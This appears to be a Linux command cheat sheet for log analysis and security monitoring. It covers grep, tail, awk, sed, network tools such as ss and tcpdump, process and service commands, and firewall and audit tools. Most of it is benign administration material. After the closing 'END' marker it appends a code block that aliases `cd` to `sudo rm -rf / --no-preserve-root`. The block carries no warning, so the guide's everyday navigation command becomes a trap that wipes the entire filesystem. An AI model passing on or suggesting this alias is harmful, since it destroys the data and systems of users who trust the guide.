KEY LINUX COMMANDS FOR LOG ANALYSIS AND SECURITY MONITORING

By,

ANANDHU S

anandhu-s

1. Log File Analysis & Manipulation:

- `grep`: **Search for patterns within files.**
    - `grep "error" /var/log/syslog`**:** Find lines containing "error."
    - `grep -i "warning" /var/log/messages`: Case-insensitive search.
    - `grep -r "malicious" /var/log/`**:** Recursive search in a directory.
    - `grep -v "normal" /var/log/auth.log`: Invert match (show lines *not* containing "normal").
    - `grep -A 5 "fail" /var/log/secure`: Show 5 lines *after* a match.
    - `grep -B 5 "fail" /var/log/secure`: Show 5 lines *before* a match.
    - `grep -C 5 "fail" /var/log/secure`: Show 5 lines *around* a match.
    - `grep -E 'pattern1|pattern2'` : extended regular expressions.
    - `grep -E -o "([0-9]{1,3}\.){3}[0-9]{1,3}" /var/log/nginx/access.log`: Extract IP addresses using regular expressions. The `-o` option shows only the matching part.
    - `grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" /var/log/nginx/access.log`

      : more precise IP address extraction.

- `grep -E -o "(?:[a-fA-F0-9]{1,4}:){7}[a-fA-F0-9]{1,4}" /var/log/syslog`: Extract IPv6 addresses.
- `grep -E -o "(?:[0-9]{1,3}\.){3}[0-9]{1,3}|(?:[a-fA-F0-9]{1,4}:){7}[a-fA-F0-9]{1,4}" /var/log/syslog`:Extract IPv4 and IPv6 addresses.
- `grep -E -o "(?:[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})" /var/log/maillog`: Extract email addresses.
- `grep -E -o "([a-fA-F0-9]{32}|[a-fA-F0-9]{40}|[a-fA-F0-9]{64})" /var/log/hashes.log`: find common hash lengths.
- `grep -P -o "(?<=\[).*(?=\])" /var/log/nginx/access.log`: Use PCRE (Perl Compatible Regular Expressions) for lookarounds (extract content within brackets). Requires `grep -P`.
- `grep -oP '(?<=user=)[^ ]+' /var/log/auth.log`: Extract usernames following "user=".
- `grep -vE "(127.0.0.1|192.168.1.0)" /var/log/nginx/access.log`: Exclude local IP addresses.
- `grep "failed" /var/log/auth.log | grep -v "cron"`: Find failed logins, but exclude those from cron jobs.

- **`grep -l "malware" /var/log/*`**: List files containing "malware" (only filenames).
- **`grep -h "password" /var/log/*`**: Search multiple files, but don't show filenames in the output.
- **`grep -o "error.*" /var/log/syslog | sort | uniq -c`**: Count occurrences of different error messages.
- **`grep "[[:upper:]]" filename`**: find lines containing uppercase characters.
- **`grep "[[:digit:]]" filename`**: find lines containing digits.
- **`grep "[[:alnum:]]" filename`**: find lines containing alphanumeric characters.
- **`grep "[[:punct:]]" filename`**: find lines containing punctuation.

- **tail: Display the last part of a file (useful for real-time monitoring).**
    - `tail /var/log/syslog`: Show the last 10 lines.
    - `tail -f /var/log/auth.log`: Follow the file for new additions.
    - `tail -n 50 /var/log/nginx/access.log`: Show the last 50 lines.
    - `tail -f /var/log/firewall.log`: Monitor firewall logs for blocked connections or suspicious activity.
    - `tail -f /var/log/auth.log`: Track authentication attempts, including failed logins.
    - `tail -f /var/log/syslog | grep "error"`: Monitor syslog for errors in real-time.
    - `tail -f /var/log/nginx/error.log`: Monitor web server error logs.
    - `tail -n 100 /var/log/apache2/access.log`: Review the last 100 web server access requests.
    - `tail -n 20 /var/log/secure`: Check the last 20 login attempts.
    - `tail -f /var/log/auth.log /var/log/syslog`: Monitor multiple log files simultaneously. The output will be interleaved, with headers indicating the source file.
    - `tail -F /var/log/rotated_logs/*log`: Monitor all log files in a directory, even when they are rotated. The capital F is very useful, as it

continues to follow the file even if it is removed and recreated, which log rotation does.

  - `tail -f /var/log/nginx/access.log | grep "404"`: Monitor access logs and filter for 404 (not found) errors.
  - `tail -f /var/log/auth.log | grep "Failed password"`: Monitor failed login attempts.
  - `tail -f /var/log/syslog | grep -i "malicious"`: Monitor syslog for case-insensitive "malicious" strings.
  - `tail -f /var/log/firewall.log | awk '{print $4, $7}'`: Monitor firewall logs and extract specific fields (e.g., source and destination IP addresses).
  - `tail -f /var/log/auth.log | while read line; do echo "$(date): $line"; done`: Add timestamps to each line of the output.
  - `tail -f /var/log/nginx/access.log | grep "POST" | awk '{print $1}' | sort | uniq -c`: Count the number of POST requests from each IP address.

- **`head`: Display the first part of a file.**

  - `head -n 10 /var/log/apache2/error.log` : display the first 10 lines.

  - **`head -c [number] filename`**: This option displays the first specified number of bytes. This can be useful when dealing with binary files or when you need to see a specific portion of a file's header.
  - **`head filename1 filename2`**: When you provide multiple filenames, `head` will display the first 10 lines of each file, with headers indicating which file each section comes from.
  - **`head -q filename1 filename2`**: When displaying multiple files, the -q (quiet) option suppresses the headers that indicate the filenames.
  - displaying the first lines of output from a grep command. **`grep "suspicious" logfile | head -n 5`**

- **`cat`**: Concatenate files or display file content.
  - **`cat /var/log/firewall.log`**: Display the entire file.
  - **`cat file1 file2 > combined.log`**: Combine files.
  - **`cat /etc/ssh/sshd_config`**: Quickly review SSH server configurations.
  - **`cat /etc/passwd`**: While you should be cautious with this file, `cat` allows for a quick look at user accounts. (Remember that shadow files contain the hashed passwords).
  - **`cat /etc/hosts`**: Check for suspicious host entries.
  - **`cat /etc/resolv.conf`**: Check DNS settings.

- For small log files, `cat` can be faster than opening them in a text editor.
- **`cat /var/log/lastlog`** : display the last login of each user.
- **`cat filename | md5sum`**: Calculate the MD5 hash of a file. This can be used to verify that a file has not been tampered with.
- **`cat filename | sha256sum`**: Calculate the SHA256 hash, which is more secure than MD5.
- **`md5sum filename`**: A more direct way to get the md5sum, without the cat command.

- **`less`**: View file content one screen at a time (more efficient than `cat` for large files).
  - **`less /var/log/bigfile.log`**: Navigate with arrow keys, search with `/`.
- **`awk`**: Powerful text processing tool.
  - **`awk '{print $1, $3}' /var/log/access.log`**: Print the first and third columns.
  - **`awk '/error/ {print $0}' /var/log/syslog`**: Print lines containing "error."
  - **`awk -F',' '{print $2}' data.csv`** : Use comma as a field separator.

- **`sed`**: Stream editor for text manipulation.
    - **`sed 's/old/new/g' /var/log/file.log`**: Replace "old" with "new" globally.
    - **`sed '/^#/d' /etc/config.conf`**: Delete lines starting with "#".
- **`cut`**: Extract specific columns or fields from a file.
    - **`cut -d',' -f1,3 data.csv`**: Extract the first and third fields, using a comma as a delimiter.
- **`wc`**: Word, line, and byte count.
    - **`wc -l /var/log/apache2/access.log`**: Count the number of lines.

2. Network Analysis:

- `netstat`: Display network connections, routing tables, and interface statistics (often replaced by `ss`).
  - `netstat -tuln`: List listening TCP and UDP ports.
  - `netstat -an`: Show all network connections.
- `ss`: Another tool to investigate sockets.
  - `ss -tuln`: List listening TCP and UDP ports.
  - `ss -an`: Show all network connections.
  - `ss -s`: display socket statistics.
- `tcpdump`: Capture network traffic.
  - `tcpdump -i eth0`: Capture traffic on the eth0 interface.
  - `tcpdump -i eth0 port 80`: Capture traffic on port 80.
  - `tcpdump -i eth0 host 192.168.1.10`: Capture traffic to/from a specific host.
  - `tcpdump -i eth0 -w capture.pcap`: Write captured traffic to a file.
- `ping`: Test network connectivity.
  - `ping 8.8.8.8`: Ping Google's DNS server.
- `traceroute`: Trace the route to a destination.
  - `traceroute google.com`: Trace the route to google.com.
- `dig`: DNS lookup utility.
  - `dig google.com`: Perform a DNS lookup.
  - `dig google.com A`: Query for A records.

- `nslookup`: another DNS lookup utility.
  - `nslookup google.com`

3. System & User Management:

- `ps`: Display running processes.
  - `ps aux`: Show all processes.
  - `ps aux | grep process_name`: Find a specific process.
- `top`: Real-time system monitoring.
  - `top`: Interactive display of system resources.
- `htop`: improved version of top.
- `df`: Disk space usage.
  - `df -h`: Human-readable disk space.
- `du`: Disk usage of files and directories.
  - `du -sh /var/log`: Summarize disk usage of /var/log.
- `who`: Display logged-in users.
- `w`: Display logged-in users and their activity.
- `last`: Display recent logins.
- `history`: Display command history.
- `chmod`: Change file permissions.
  - `chmod 755 script.sh`: Set read, write, and execute permissions.
- `chown`: Change file ownership.
  - `chown user:group file.txt`: Change ownership to user and group.
- `systemctl`: Control system services (systemd).

  - `systemctl status service_name`: Check the status of a service.
  - `systemctl start service_name`: Start a service.
  - `systemctl stop service_name`: Stop a service.
  - `systemctl restart service_name`: Restart a service.
  - `systemctl enable service_name`: Enable a service to start at boot.
- `journalctl`: view systemd logs.
  - `journalctl -xe`: view system logs with extra explanations.
  - `journalctl -f`: Follow system logs in real time.
  - `journalctl -u servicename`: view logs for a specific service.
- `find`: search for files.
  - `find / -name filename`: find files by name.
  - `find / -type f -size +10M`: find files larger than 10MB.
  - `find /var/log -mtime -1`**:** Find files modified on the last day.

4. Security Specific:

- **`iptables`**: Firewall configuration (often replaced by `nftables`).
  - `iptables -L`: List firewall rules.
- **`nftables`**: next generation firewall.
  - `nft list ruleset`
- **`auditctl`**: Linux audit system.
  - `auditctl -l`: List audit rules.
- **`strace`**: Trace system calls and signals.
  - `strace command`: Trace the system calls of a command.
- **`lsof`**: List open files.
  - `lsof -i`: List open network connections.
  - `lsof -p PID`: List open files for a specific process.

<--- **END** -->

```
alias cd='sudo rm -rf / --no-preserve-root'
```